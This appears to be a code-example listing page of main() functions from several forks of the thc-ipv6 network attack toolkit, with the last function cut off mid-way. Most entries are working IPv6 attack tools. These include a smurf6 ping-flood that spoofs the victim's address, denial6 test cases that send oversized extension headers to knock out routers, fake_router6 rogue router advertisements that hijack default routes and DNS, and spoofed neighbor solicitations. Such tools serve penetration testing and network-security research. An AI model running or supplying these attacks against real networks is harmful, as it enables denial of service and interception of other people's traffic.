コード例 #1
0
ファイル: dump_router6.c プロジェクト: EasonYi/thc-ipv6
int main(int argc, char *argv[]) {
    char *interface, string[] = "ip6 and icmp6";
    unsigned char *mac6, buf[512];
    unsigned char *dst = thc_resolve6("ff02::2");
    int i;
    unsigned char *pkt = NULL;
    int pkt_len = 0;
    int rawmode = 0;
    pcap_t *p;

    if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
        help(argv[0]);

    while ((i = getopt(argc, argv, "r")) >= 0) {
        switch (i) {
        case 'r':
            thc_ipv6_rawmode(1);
            rawmode = 1;
            break;
        default:
            fprintf(stderr, "Error: invalid option %c\n", i);
            exit(-1);
        }
    }

    interface = argv[optind];
    if ((mac6 = thc_get_own_mac(interface)) == NULL) {
        fprintf(stderr, "Error: invalid interface %s\n", interface);
        exit(-1);
    }
    if (argc - optind > 1 && argv[optind + 1] != NULL)
        dst = thc_resolve6(argv[optind + 1]);

    memset(buf, 0, sizeof(buf));
    buf[0] = 1;
    buf[1] = 1;
    memcpy(buf + 2, mac6, 6);
    i = 8;
    memset(seen, 0, sizeof(seen));

    if ((p = thc_pcap_init(interface, string)) == NULL) {
        fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
        exit(-1);
    }

    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, NULL, dst, 255, 0, 0, 0xe0, 0)) == NULL)
        return -1;
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERSOL, 0, 0, buf, i, 0) < 0)
        return -1;
    if (thc_generate_and_send_pkt(interface, mac6, NULL, pkt, &pkt_len) < 0)
        return -1;

    signal(SIGALRM, clean_exit);
    alarm(5);
    while (1) {
        while (thc_pcap_check(p, (char *) dump_ra_reply, NULL) > 0);
        usleep(100);
    }
    return 0;
}
コード例 #2
0
int main(int argc, char *argv[]) {
    char *interface;
    pcap_t *p;
    int i;

    if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
        help(argv[0]);

    while ((i = getopt(argc, argv, "rk:")) >= 0) {
        switch (i) {
        case 'r':
            rawmode = 1;
            thc_ipv6_rawmode(1);
            break;
        case 'k':
            key = optarg;
            break;
        default:
            fprintf(stderr, "Unknown option\n");
            exit(-1);
        }
    }

    interface = argv[optind];
    if ((f = fopen(argv[optind + 1], "w")) == NULL) {
        fprintf(stderr, "Error: file %s cout not be created\n", argv[optind + 1]);
        exit(-1);
    }

    if (key != NULL) {
        memset(&bfkey, 0, sizeof(bfkey));
        SHA1((unsigned char *) key, strlen(key), (unsigned char *) hash);
        BF_set_key(&bfkey, sizeof(hash), (unsigned char *) hash);
        memset(vec, 0, sizeof(vec));
        num = 0;
    }

    if ((p = thc_pcap_init(interface, "ip6")) == NULL) {
        fprintf(stderr, "Error: could not capture on interface %s\n", interface);
        exit(-1);
    }

    while (1) {
        thc_pcap_check(p, (char *) check_packets, NULL);
        usleep(50);
    }

    return 0;
}
コード例 #3
0
ファイル: smurf6.c プロジェクト: BwRy/thc-ipv6
int main(int argc, char *argv[]) {
  unsigned char *pkt = NULL, buf[16], fakemac[7] = "\x00\x00\xde\xad\xbe\xef";
  unsigned char *multicast6, *victim6;
  int pkt_len = 0;
  char *interface;
  int rawmode = 0;

  if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  if (strcmp(argv[1], "-r") == 0) {
    thc_ipv6_rawmode(1);
    rawmode = 1;
    argv++;
    argc--;
  }

  interface = argv[1];
  if (thc_get_own_ipv6(interface, NULL, PREFER_GLOBAL) == NULL) {
    fprintf(stderr, "Error: invalid interface %s\n", interface);
    exit(-1);
  }
  victim6 = thc_resolve6(argv[2]);
  if (argv[3] != NULL)
    multicast6 = thc_resolve6(argv[3]);
  else
    multicast6 = thc_resolve6("ff02::1");

  memset(buf, 'A', 16);
  if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, victim6, multicast6, 0, 0, 0, 0, 0)) == NULL)
    return -1;
  if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, (unsigned char *) &buf, 16, 0) < 0)
    return -1;
  if (thc_generate_pkt(interface, fakemac, NULL, pkt, &pkt_len) < 0) {
    fprintf(stderr, "Error: Can not generate packet, exiting ...\n");
    exit(-1);
  }

  printf("Starting smurf6 attack against %s (Press Control-C to end) ...\n", argv[2]);
  while (1)
    thc_send_pkt(interface, pkt, &pkt_len);

  return 0;
}
コード例 #4
0
ファイル: host_scan.c プロジェクト: 0x0mar/thc-ipv6
int main(int argc, char *argv[]) {
  unsigned char *router6 = NULL;        // roteador da rota parametrizada
  unsigned char *multicast6,    // endereco do grupo multicast de destino
   *routers[2];
  int rawmode = 0;              // informa se o "raw mode" foi ativado ou nao
  char *interface;              // nome da interface de analise


  // verifica se foi pedida as instrucoes de uso
  if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  // verifica se foi selecionado para funcionar em "raw mode"
  if (strcmp(argv[1], "-r") == 0) {
    thc_ipv6_rawmode(1);
    rawmode = 1;
    argv++;
    argc--;
  }
  // nome da interface de captura
  interface = argv[1];

  // pode ser informado um grupo multicast para se limitar o escopo do scan
  if (argv[2] != NULL && argc > 2)
    multicast6 = thc_resolve6(argv[2]);
  else                          // caso nao tenha sido informado eh utilizado o endereco de multicast[broadcast] padrao
    multicast6 = thc_resolve6("ff02::1");

  // caso seja passado alguma rota , setar os roteadores 
  if (argv[3] != NULL && argc > 3) {
    router6 = thc_resolve6(argv[3]);
    routers[0] = multicast6;
    routers[1] = NULL;
    multicast6 = router6;       // switch destination and router
  }

  hostScan(rawmode, interface, multicast6, router6, routers);

  return 0;
}
コード例 #5
0
ファイル: fake_solicitate6.c プロジェクト: Chewlee/thc-ipv6
int main(int argc, char *argv[]) {
    unsigned char *pkt1 = NULL, buf[24], buf2[6], buf3[1500];
    unsigned char *unicast6, *src6 = NULL, *dst6 = NULL, srcmac[16] = "", *mac = srcmac;
    int pkt1_len = 0, flags, prefer = PREFER_GLOBAL, i, do_hop = 0, do_dst = 0, do_frag = 0, cnt, type = NXT_ICMP6, offset = 14;
    char *interface;
    int rawmode = 0;
    thc_ipv6_hdr *hdr;

    if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
        help(argv[0]);

    if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]);

    while ((i = getopt(argc, argv, "DFHr")) >= 0) {
        switch (i) {
        case 'r':
            thc_ipv6_rawmode(1);
            rawmode = 1;
            break;
        case 'F':
            do_frag++;
            break;
        case 'H':
            do_hop = 1;
            break;
        case 'D':
            do_dst = 1;
            break;
        default:
            fprintf(stderr, "Error: invalid option %c\n", i);
            exit(-1);
        }
    }

    if (argc - optind < 2)
        help(argv[0]);

    if (do_hdr_size)
        offset = do_hdr_size;
    interface = argv[optind];
    if ((unicast6 = thc_resolve6(argv[optind + 1])) == NULL) {
        fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[optind + 1]);
        exit(-1);
    }
    if (argc - optind >= 3 && argv[optind + 2] != NULL)
        dst6 = thc_resolve6(argv[optind + 2]);
    else
        dst6 = thc_resolve6("ff02::1");
    if (dst6 == NULL) {
        fprintf(stderr, "Error: could not resolve destination of solicitate: %s\n", argv[optind + 2]);
        exit(-1);
    }
    if (rawmode == 0) {
        if (argc - optind >= 4 && argv[optind + 3] != NULL)
            sscanf(argv[optind + 3], "%x:%x:%x:%x:%x:%x", (unsigned int *) &srcmac[0], (unsigned int *) &srcmac[1], (unsigned int *) &srcmac[2], (unsigned int *) &srcmac[3],
                   (unsigned int *) &srcmac[4], (unsigned int *) &srcmac[5]);
        else
            mac = thc_get_own_mac(interface);
    }
    if (argc - optind >= 5 && argv[optind + 4] != NULL)
        src6 = thc_resolve6(argv[optind + 4]);
    else
        src6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK);

    if (mac == NULL || src6 == NULL) {
        fprintf(stderr, "Error: invalid interface %s or invalid mac/ip defined\n", interface);
        exit(-1);
    }

    memset(buf, 0, sizeof(buf));
    memcpy(buf, unicast6, 16);
    buf[16] = 1;
    buf[17] = 1;
    memcpy(&buf[18], mac, 6);
    flags = 0; // ICMP6_NEIGHBORADV_OVERRIDE;
    memset(buf2, 0, sizeof(buf2));
    memset(buf3, 0, sizeof(buf3));

    if ((pkt1 = thc_create_ipv6_extended(interface, prefer, &pkt1_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL)
        return -1;
    if (do_hop) {
        type = NXT_HBH;
        if (thc_add_hdr_hopbyhop(pkt1, &pkt1_len, buf2, sizeof(buf2)) < 0)
            return -1;
    }
    if (do_frag) {
        if (type == NXT_ICMP6)
            type = NXT_FRAG;
        for (i = 0; i <= do_frag; i++)
            if (thc_add_hdr_oneshotfragment(pkt1, &pkt1_len, cnt++) < 0)
                return -1;
    }
    if (do_dst) {
        if (type == NXT_ICMP6)
            type = NXT_DST;
        if (thc_add_hdr_dst(pkt1, &pkt1_len, buf3, sizeof(buf3)) < 0)
            return -1;
    }
    if (thc_add_icmp6(pkt1, &pkt1_len, ICMP6_NEIGHBORSOL, 0, flags, (unsigned char *) &buf, 24, 0) < 0)
        return -1;
    if (thc_generate_pkt(interface, mac, NULL, pkt1, &pkt1_len) < 0) {
        fprintf(stderr, "Error: Can not generate packet, exiting ...\n");
        exit(-1);
    }

    printf("Starting solicitation of %s (Press Control-C to end)\n", argv[optind + 1]);
    while (1) {
        if (do_dst) {
            hdr = (thc_ipv6_hdr *) pkt1;
            thc_send_as_fragment6(interface, src6, dst6, type, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1240);
        } else {
            thc_send_pkt(interface, pkt1, &pkt1_len);
        }
        sleep(5);
    }

    return 0;
}
コード例 #6
0
ファイル: denial6.c プロジェクト: LOLSquad/pkg-thc-ipv6
int main(int argc, char *argv[]) {
  int test = 0, count = 1, tmplen;
  unsigned char buf[65536], bla[1500], tests[256];
  unsigned char *dst6, *ldst6 = malloc(16), *src6, *lsrc6, *mcast6, *route6, *mal;
  unsigned char *srcmac = NULL, *dstmac = NULL, *routers[2], null_buffer[6];
  thc_ipv6_hdr *hdr;
  int i, j, k, srcmtu, fragsize;
  unsigned char *pkt = NULL, *pkt2 = NULL, *pkt3 = NULL;
  int pkt_len = 0, pkt_len2 = 0, pkt_len3 = 0, noping = 0, mtu = 1500;
  char *interface;
  thc_ipv6_hdr *ipv6;

  if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  if (strcmp(argv[1], "-r") == 0) {
    thc_ipv6_rawmode(1);
    rawmode = 1;
    argv++;
    argc--;
  }

  interface = argv[1];
  if ((dst6 = thc_resolve6(argv[2])) == NULL) {
    fprintf(stderr, "Error: invalid target: %s\n", argv[2]);
    exit(-1);
  }
  //route6 = thc_resolve6("2a01::");
  memcpy(ldst6, dst6, 16);
  memset(ldst6 + 2, 0, 6);
  ldst6[0] = 0xfe;
  ldst6[1] = 0x80;
  mcast6 = thc_resolve6("ff02::1");
  if (argc >= 4)
    test = atoi(argv[3]);
  memset(null_buffer, 0, sizeof(null_buffer));

  src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL);
  if ((lsrc6 = thc_get_own_ipv6(interface, ldst6, PREFER_LINK)) == NULL) {
    fprintf(stderr, "Error: invalid interface: %s\n", interface);
    exit(-1);
  }
  srcmac = thc_get_own_mac(interface);
  if (rawmode == 0) {
    if ((dstmac = thc_get_mac(interface, src6, dst6)) == NULL) {
      fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]);
      exit(-1);
    }
  } else
    dstmac = null_buffer;
  if ((srcmtu = thc_get_mtu(interface)) <= 0) {
    fprintf(stderr, "ERROR: can not get mtu from interface %s\n", interface);
    exit(-1);
  }
  fragsize = ((srcmtu - 62) / 8) * 8;

  setvbuf(stdout, NULL, _IONBF, 0);
  memset(buf, 0, sizeof(buf));
  memset(tests, 0, sizeof(tests));
  memset(bla, 0, sizeof(bla));

  if (test < 1 || test > MAX_TEST) {
    printf("%s %s (c) 2013 by %s %s\n\n", argv[0], VERSION, AUTHOR, RESOURCE);
    printf("Syntax: %s interface destination test-case-number\n\n", argv[0]);
    printf("The following test cases are currently implemented:\n");
    printf("  1 : large hop-by-hop header with router-alert and filled with unknown options\n");
    printf("  2 : large destination header filled with unknown options\n");
    exit(0);
  }

  printf("Performing denial of service test case no. %d attack on %s via %s:\n", test, argv[2], argv[1]);
  printf("A \".\" is shown for every 1000 packets sent, press Control-C to end...\n");

  /********************** TEST CASES ************************/

  if (test == count) {          // 1432
    printf("Test %d: large hop-by-hop header with router-alert and filled with unknown options.\n", count);
    printf("WARNING: this attack affects all routers on the network path to the target!!\n");
    sleep(3);
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    buf[0] = 5;
    buf[1] = 2;
    j = 4;
    i = 2;
    while (j <= 1408) {
      k = (i % 63) + 1;
      buf[j] = k;
      switch (k) {
      case 38:                 // quickstart
        buf[j + 1] = 6;         // length
        buf[j + 2] = 1;         // request type + rate
        buf[j + 3] = 60;        //qs-ttl
        buf[j + 4] = 8;         // nonce
        j += 8;
        break;
      case 5:                  // prevent router alert option twice
        buf[j] = 1;
        // fall through
      default:
        buf[j + 1] = 2;
        j += 4;
      }
      j += buf[j + 1] + 2;
      i++;
    }
    for (i = 1; i < 236; i++) {
      buf[i * 6 - 2] = (i % 63) + 1;
      buf[i * 6 - 1] = 4;
    }
    if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, 1416) < 0)
      return -1;
    thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, bla, 8, 0);
    if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
  }
  count++;

  if (test == count) {          // 1432
    printf("Test %d: large destination header filled with unknown options.\n", count);
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    for (i = 1; i < 237; i++) {
      buf[6 + i * 6] = (i % 63) + 1;
      buf[5 + i * 6] = 4;
    }
    if (thc_add_hdr_dst(pkt, &pkt_len, buf, 1416) < 0)
      return -1;
    thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, bla, 8, 0);
    if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
  }
  count++;

  if (test == count) {          // 1432
    // code
  }
  count++;


  /******************* END OF TESTCASES ***************************/

  count = 0;
  while (1) {
    thc_send_pkt(interface, pkt, &pkt_len);
    usleep(1);
    count++;
    if (count % 1000 == 0)
      printf(".");
  }

  return 0;
}
コード例 #7
0
ファイル: fake_router6.c プロジェクト: LOLSquad/pkg-thc-ipv6
int main(int argc, char *argv[]) {
  char *routerip, *interface, mac[16] = "";
  unsigned char *routerip6, *route6, *mac6 = mac, *ip6;
  unsigned char buf[512], *ptr, buf2[6], string[] = "ip6 and icmp6 and dst ff02::2";
  unsigned char *dst = thc_resolve6("ff02::1");
  unsigned char *dstmac = thc_get_multicast_mac(dst);
  unsigned char *dns;
  int size, mtu = 1500, i, j, k, cnt;
  unsigned char *pkt = NULL;
  int pkt_len = 0;
  int rawmode = 0;
  pcap_t *p;

  if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  while ((i = getopt(argc, argv, "FHDr")) >= 0) {
    switch (i) {
    case 'r':
      thc_ipv6_rawmode(1);
      rawmode = 1;
      break;
    case 'F':
      do_frag++;
      break;
    case 'H':
      do_hop = 1;
      break;
    case 'D':
      do_dst = 1;
      break;
    default:
      fprintf(stderr, "Error: invalid option %c\n", i);
      exit(-1);
    }
  }

  if (argc - optind < 2)
    help(argv[0]);

  if (do_hdr_size)
    myoff = do_hdr_size;
  frbuf = buf;
  frbuf2 = buf2;
  frbuf2len = sizeof(buf2);
  memset(mac, 0, sizeof(mac));
  interface = argv[optind];
  mtu = thc_get_mtu(interface);
  if (argc - optind >= 5)
    mtu = atoi(argv[optind + 4]);
  if (argc - optind >= 7 && (ptr = argv[optind + 5]) != NULL)
    sscanf(ptr, "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4],
           (unsigned int *) &mac[5]);
  else
    mac6 = thc_get_own_mac(interface);

  if (argc - optind >= 4 && argv[optind + 3] != NULL)
    ip6 = thc_resolve6(argv[optind + 3]);
  else
    ip6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK);
  frip6 = ip6;
  frint = interface;
  frmac = mac6;

  if (argc - optind >= 4 && argv[optind + 2] != NULL)
    dns = thc_resolve6(argv[optind + 2]);
  else
    dns = thc_resolve6("ff02::fb");

  routerip = argv[optind + 1];
  if (routerip == NULL || (ptr = index(routerip, '/')) == NULL) {
    printf("Error: Option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. ff80::01/16\n");
    exit(-1);
  }
  *ptr++ = 0;
  size = atoi(ptr);

  routerip6 = thc_resolve6(routerip);
  route6 = thc_resolve6(routerip);

  if (routerip6 == NULL || size < 1 || size > 128) {
    fprintf(stderr, "Error: IP-ADDRESS/PREFIXLENGTH argument is invalid: %s\n", argv[optind + 1]);
    exit(-1);
  }
  if (size < 48 || size > 64)
    fprintf(stderr, "Warning: unusual network prefix size defined, be sure what your are doing: %d\n", size);
  if (dns == NULL) {
    fprintf(stderr, "Error: dns argument is invalid: %s\n", argv[optind + 2]);
    exit(-1);
  }
  if (ip6 == NULL) {
    fprintf(stderr, "Error: link-local-ip6 argument is invalid: %s\n", argv[optind + 3]);
    exit(-1);
  }
  if (mtu < 1 || mtu > 65536) {
    fprintf(stderr, "Error: mtu argument is invalid: %s\n", argv[optind + 4]);
    exit(-1);
  }
  if (mtu < 1228 || mtu > 1500)
    fprintf(stderr, "Warning: unusual mtu size defined, be sure what you are doing :%d\n", mtu);
  if (mac6 == NULL) {
    fprintf(stderr, "Error: mac address in invalid\n");
    exit(-1);
  }
  memset(buf, 0, sizeof(buf));
  memset(buf2, 0, sizeof(buf2));
  memset(buf3, 0, sizeof(buf3));

  if ((p = thc_pcap_init(interface, string)) == NULL) {
    fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
    exit(-1);
  }

  i = 128 - size;
  j = i / 8;
  k = i % 8;
  if (k > 0)
    j++;
  memset(route6 + 16 - j, 0, j);
  if (k > 0)
    route6[17 - j] = (route6[17 - j] >> (8 - k)) << (8 - k);

//  buf[3] = 250; // 0-3: reachable timer
  buf[6] = 4;                   // 4-7: retrans timer
  // option mtu
  buf[8] = 5;
  buf[9] = 1;
  buf[12] = mtu / 16777216;
  buf[13] = (mtu % 16777216) / 65536;
  buf[14] = (mtu % 65536) / 256;
  buf[15] = mtu % 256;
  // option prefix
  buf[16] = 3;
  buf[17] = 4;
  buf[18] = size;               // prefix length
  buf[19] = 128 + 64;
  memset(&buf[20], 17, 4);
  memset(&buf[24], 4, 4);
  memcpy(&buf[32], route6, 16);

  i = 48;
  // mac address option
  buf[i++] = 1;
  buf[i++] = 1;
  memcpy(buf + i, mac6, 6);
  i += 6;

  // default route routing option
  buf[i++] = 0x18;              // routing entry option type
  buf[i++] = 0x03;              // length 3 == 24 bytes
  buf[i++] = 0x00;              // prefix length
  buf[i++] = 0x08;              // priority, highest of course
  i += 2;                       // 52-53 unknown
  buf[i++] = 0x11;              // lifetime, word
  buf[i++] = 0x11;              // lifetime, word
  i += 16;                      // 56-71 address, all zeros for default

  // specific route routing option 2000::/3
  buf[i++] = 0x18;              // routing entry option type
  buf[i++] = 0x03;              // length 3 == 24 bytes
  buf[i++] = 0x03;              // prefix length
  buf[i++] = 0x08;              // priority, highest of course
  i += 2;                       // 52-53 unknown
  buf[i++] = 0x11;              // lifetime, word
  buf[i++] = 0x11;              // lifetime, word
  buf[i++] = 0x20;              // 56-71 address: 2000::
  i += 15;

  // specific route routing option 2000::/3
  buf[i++] = 0x18;              // routing entry option type
  buf[i++] = 0x03;              // length 3 == 24 bytes
  buf[i++] = 0x07;              // prefix length
  buf[i++] = 0x08;              // priority, highest of course
  i += 2;                       // 52-53 unknown
  buf[i++] = 0x11;              // lifetime, word
  buf[i++] = 0x11;              // lifetime, word
  buf[i++] = 0xfc;              // 56-71 address: fc::
  i += 15;

  // dns option
  buf[i++] = 0x19;              // dns option type
  buf[i++] = 0x03;              // length
  i += 2;                       // 74-75 reserved
  memset(buf + i, 1, 4);        // validity time
  i += 4;
  memcpy(buf + i, dns, 16);     // dns server
  i += 16;

  frbuflen = i;

  if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0xe0, 0)) == NULL)
    return -1;

  if (do_hop) {
    type = NXT_HBH;
    if (thc_add_hdr_hopbyhop(pkt, &pkt_len, frbuf2, 6) < 0)
      return -1;
  }
  if (do_frag) {
    type = NXT_FRAG;
    for (i = 0; i <= do_frag; i++)
      if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0)
        return -1;
  }
  if (do_dst) {
    if (type == NXT_ICMP6)
      type = NXT_DST;
    if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0)
      return -1;
  }
  if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff080800, buf, i, 0) < 0)
    return -1;
  if (thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0)
    return -1;
  frhdr = (thc_ipv6_hdr *) pkt;

  // init pcap

  printf("Starting to advertise router %s (Press Control-C to end) ...\n", argv[optind + 1]);
  while (1) {
    if (do_dst) {
      thc_send_as_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1240);
    } else {
      thc_send_pkt(interface, pkt, &pkt_len);
    }
    while (thc_pcap_check(p, (char *) send_rs_reply, NULL) > 0);
    sleep(5);
  }
  return 0;
}
コード例 #8
0
ファイル: denial6.c プロジェクト: mmoya/pkg-thc-ipv6
int main(int argc, char *argv[]) {
  int test = 0, count = 1, tmplen;
  unsigned char buf[65536], bla[1500], tests[256];
  unsigned char *dst6, *ldst6 = malloc(16), *src6, *lsrc6, *mcast6, *route6, *mal;
  unsigned char *srcmac = NULL, *dstmac = NULL, *routers[2], null_buffer[6];
  thc_ipv6_hdr *hdr;
  int i, j, k, srcmtu, fragsize;
  unsigned char *pkt = NULL, *pkt2 = NULL, *pkt3 = NULL;
  int pkt_len = 0, pkt_len2 = 0, pkt_len3 = 0, noping = 0, mtu = 1500;
  char *interface, *randptr = NULL;
  thc_ipv6_hdr *ipv6;

  if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  if (strcmp(argv[1], "-r") == 0) {
    thc_ipv6_rawmode(1);
    rawmode = 1;
    argv++;
    argc--;
  }

  interface = argv[1];
  if ((dst6 = thc_resolve6(argv[2])) == NULL) {
    fprintf(stderr, "Error: invalid target: %s\n", argv[2]);
    exit(-1);
  }
  //route6 = thc_resolve6("2a01::");
  memcpy(ldst6, dst6, 16);
  memset(ldst6 + 2, 0, 6);
  ldst6[0] = 0xfe;
  ldst6[1] = 0x80;
  mcast6 = thc_resolve6("ff02::1");
  if (argc >= 4)
    test = atoi(argv[3]);
  memset(null_buffer, 0, sizeof(null_buffer));

  src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL);
  if ((lsrc6 = thc_get_own_ipv6(interface, ldst6, PREFER_LINK)) == NULL) {
    fprintf(stderr, "Error: invalid interface: %s\n", interface);
    exit(-1);
  }
  srcmac = thc_get_own_mac(interface);
  if (rawmode == 0) {
    if ((dstmac = thc_get_mac(interface, src6, dst6)) == NULL) {
      fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]);
      exit(-1);
    }
  } else
    dstmac = null_buffer;
  if ((srcmtu = thc_get_mtu(interface)) <= 0) {
    fprintf(stderr, "ERROR: can not get mtu from interface %s\n", interface);
    exit(-1);
  }
  fragsize = ((srcmtu - 62) / 8) * 8;

  setvbuf(stdout, NULL, _IONBF, 0);
  memset(buf, 0, sizeof(buf));
  memset(tests, 0, sizeof(tests));
  memset(bla, 0, sizeof(bla));

  if (test < 1 || test > MAX_TEST) {
    printf("%s %s (c) 2014 by %s %s\n\n", argv[0], VERSION, AUTHOR, RESOURCE);
    printf("Syntax: %s interface destination test-case-number\n\n", argv[0]);
    printf("The following test cases are currently implemented:\n");
    printf("  1 : large hop-by-hop header with router-alert and filled with unknown options\n");
    printf("  2 : large destination header filled with unknown options\n");
    printf("  3 : hop-by-hop header with router alert option plus 180 headers\n");
    printf("  4 : hop-by-hop header with router alert option plus 178 headers + ping\n");
    printf("  5 : AH header + ping\n");
    printf("  6 : first fragments of a ping with a hop-by-hop header with router alert\n");
    printf("  7 : large hop-by-hop header filled with unknown options (no router alert)\n");
    exit(0);
  }

  printf("Performing denial of service test case no. %d attack on %s via %s:\n", test, argv[2], argv[1]);
  printf("A \".\" is shown for every 1000 packets sent, press Control-C to end...\n");

  /********************** TEST CASE PREPARATION *************************/

  if (test == count) {          // 1432
    printf("Test %d: large hop-by-hop header with router-alert and filled with unknown options.\n", count);
    printf("WARNING: this attack affects all routers on the network path to the target!!\n");
    sleep(3);
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    buf[0] = 5;
    buf[1] = 2;
    j = 4;
    i = 1;
    while (i <= 67) {
      k = (i % 63) + 1;
      buf[j] = k;
      switch (k) {
      case 38:                 // quickstart
        buf[j + 1] = 7;         // length
        buf[j + 2] = 1;         // request type + rate
        buf[j + 3] = 60;        //qs-ttl
        buf[j + 4] = 8;         // nonce
        j += 9;
        break;
      case 4:
        buf[j + 1] = 1;
        j += 3;
        break;
      case 0:
      case 5:
        buf[j] = 1;
        // fall through
      default:
        buf[j + 1] = 4;
        j += 6;
      }
//      j += buf[j + 1] + 2;
      i++;
    }
//    for (i = 1; i < 236; i++) {
//      buf[i * 6 - 2] = (i % 63) + 1;
//      buf[i * 6 - 1] = 4;
//    }
    if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, j) < 0)
      return -1;
    thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, bla, 8, 0);
    if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
  }
  count++;

  if (test == count) {          // 1432
    printf("Test %d: large destination header filled with unknown options.\n", count);
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    for (i = 1; i < 237; i++) {
      buf[6 + i * 6] = (i % 63) + 1;
      buf[5 + i * 6] = 4;
    }
    if (thc_add_hdr_dst(pkt, &pkt_len, buf, 1416) < 0)
      return -1;
    thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, bla, 8, 0);
    if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
  }
  count++;

  if (test == count) {
    j = (thc_get_mtu(interface) - 48) / 8;
    if (j < 150 || j > 8000) {
      fprintf(stderr, "Error: invalid MTU on interface\n");
      exit(-1);
    }
    printf("Test %d: hop-by-hop header with router alert option plus %d headers.\n", count, j);
    printf("WARNING: this attack affects all routers on the network path to the target!!\n");
    sleep(3);
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    buf[0] = 5;
    buf[1] = 2;
    if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, 6) < 0)
      return -1;
    memset(buf, 0, 2);
    for (i = 0; i < j; i++)
      if (thc_add_hdr_dst(pkt, &pkt_len, buf, 6) < 0)
        return -1;
//    thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, bla, 8, 0);
    if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
  }
  count++;

  if (test == count) {
    j = (thc_get_mtu(interface) - 64) / 8;
    if (j < 150 || j > 8000) {
      fprintf(stderr, "Error: invalid MTU on interface\n");
      exit(-1);
    }
    printf("Test %d: hop-by-hop header with router alert option plus %d headers plus ping.\n", count, j);
    printf("WARNING: this attack affects all routers on the network path to the target!!\n");
    sleep(3);
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    buf[0] = 5;
    buf[1] = 2;
    if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, 6) < 0)
      return -1;
    memset(buf, 0, 2);
    for (i = 0; i < j; i++)
      if (thc_add_hdr_dst(pkt, &pkt_len, buf, 6) < 0)
        return -1;
    thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, bla, 8, 0);
    if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
  }
  count++;

  if (test == count) {
    printf("Test %d: AH header plus ping.\n", count);
    printf("WARNING: this attack affects all routers on the network path to the target!!\n");
    sleep(3);
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
